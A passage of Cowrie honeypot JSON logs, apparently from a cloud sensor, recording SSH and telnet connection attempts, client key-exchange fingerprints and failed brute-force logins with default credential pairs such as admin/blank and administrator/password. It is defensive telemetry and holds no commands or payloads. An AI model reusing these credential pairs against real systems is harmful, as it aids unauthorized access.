"ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.120950Z","src_ip":"195.178.110.137","session":"b7051e5efbda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.398029Z","src_ip":"195.178.110.137","session":"b7051e5efbda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58666,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f67c84a692c","protocol":"ssh","message":"New connection: 45.156.87.253:58666 (10.17.0.5:22) [session: 5f67c84a692c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.880318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.884071Z","src_ip":"45.156.87.253","session":"5f67c84a692c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:02.964340Z","src_ip":"45.156.87.253","session":"5f67c84a692c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:03.207883Z","src_ip":"45.156.87.253","session":"5f67c84a692c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:03.483410Z","src_ip":"195.178.110.137","session":"b7051e5efbda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:04.375369Z","src_ip":"45.156.87.253","session":"5f67c84a692c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58678,"dst_ip":"10.17.0.5","dst_port":22,"session":"80803b0bc6ef","protocol":"ssh","message":"New connection: 45.156.87.253:58678 (10.17.0.5:22) [session: 80803b0bc6ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:06.104377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:06.108516Z","src_ip":"45.156.87.253","session":"80803b0bc6ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:06.189281Z","src_ip":"45.156.87.253","session":"80803b0bc6ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password","message":"login attempt [tester/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:06.433086Z","src_ip":"45.156.87.253","session":"80803b0bc6ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:07.518034Z","src_ip":"45.156.87.253","session":"80803b0bc6ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54378,"dst_ip":"10.17.0.5","dst_port":22,"session":"66387ed836e9","protocol":"ssh","message":"New connection: 45.156.87.253:54378 (10.17.0.5:22) [session: 66387ed836e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:09.367346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:09.370701Z","src_ip":"45.156.87.253","session":"66387ed836e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:09.452355Z","src_ip":"45.156.87.253","session":"66387ed836e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:09.702204Z","src_ip":"45.156.87.253","session":"66387ed836e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:10.789123Z","src_ip":"45.156.87.253","session":"66387ed836e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":41358,"dst_ip":"10.17.0.5","dst_port":22,"session":"1362ceaeeb10","protocol":"ssh","message":"New connection: 91.92.40.11:41358 (10.17.0.5:22) [session: 1362ceaeeb10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.010140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.113189Z","src_ip":"91.92.40.11","session":"1362ceaeeb10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.116330Z","src_ip":"91.92.40.11","session":"1362ceaeeb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54390,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b7c2656deef","protocol":"ssh","message":"New connection: 45.156.87.253:54390 (10.17.0.5:22) [session: 9b7c2656deef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.466406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.471910Z","src_ip":"45.156.87.253","session":"9b7c2656deef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.559405Z","src_ip":"45.156.87.253","session":"9b7c2656deef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:12.807467Z","src_ip":"45.156.87.253","session":"9b7c2656deef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"password","message":"login attempt [administrator/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:13.018167Z","src_ip":"91.92.40.11","session":"1362ceaeeb10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:13.895586Z","src_ip":"45.156.87.253","session":"9b7c2656deef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:14.179423Z","src_ip":"91.92.40.11","session":"1362ceaeeb10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54410,"dst_ip":"10.17.0.5","dst_port":22,"session":"06175eb417aa","protocol":"ssh","message":"New connection: 45.156.87.253:54410 (10.17.0.5:22) [session: 06175eb417aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:15.534432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:15.538595Z","src_ip":"45.156.87.253","session":"06175eb417aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:15.621436Z","src_ip":"45.156.87.253","session":"06175eb417aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:15.869579Z","src_ip":"45.156.87.253","session":"06175eb417aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:16.954602Z","src_ip":"45.156.87.253","session":"06175eb417aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54422,"dst_ip":"10.17.0.5","dst_port":22,"session":"3954050892cd","protocol":"ssh","message":"New connection: 45.156.87.253:54422 (10.17.0.5:22) [session: 3954050892cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:18.669656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:18.673451Z","src_ip":"45.156.87.253","session":"3954050892cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:18.759690Z","src_ip":"45.156.87.253","session":"3954050892cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"E4IuG88G","message":"login attempt [admin/E4IuG88G] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:19.002173Z","src_ip":"45.156.87.253","session":"3954050892cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.91570830345154,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:19.233571Z","src_ip":"115.160.92.142","session":"9e816dd41cfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.160.92.142","src_port":51012,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c54ad1d9017","protocol":"telnet","message":"New connection: 115.160.92.142:51012 (159.203.135.109:23) [session: 9c54ad1d9017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:19.427993Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:20.084956Z","src_ip":"45.156.87.253","session":"3954050892cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"default","password":"S2fGqNFs","message":"login attempt [default/S2fGqNFs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:20.301701Z","src_ip":"115.160.92.142","session":"9c54ad1d9017","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:21.201616Z","src_ip":"115.160.92.142","session":"9c54ad1d9017","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":34240,"dst_ip":"10.17.0.5","dst_port":22,"session":"ead74931e261","protocol":"ssh","message":"New connection: 45.156.87.253:34240 (10.17.0.5:22) [session: ead74931e261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:21.649999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:01:21.654463Z","src_ip":"45.156.87.253","session":"ead74931e261","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@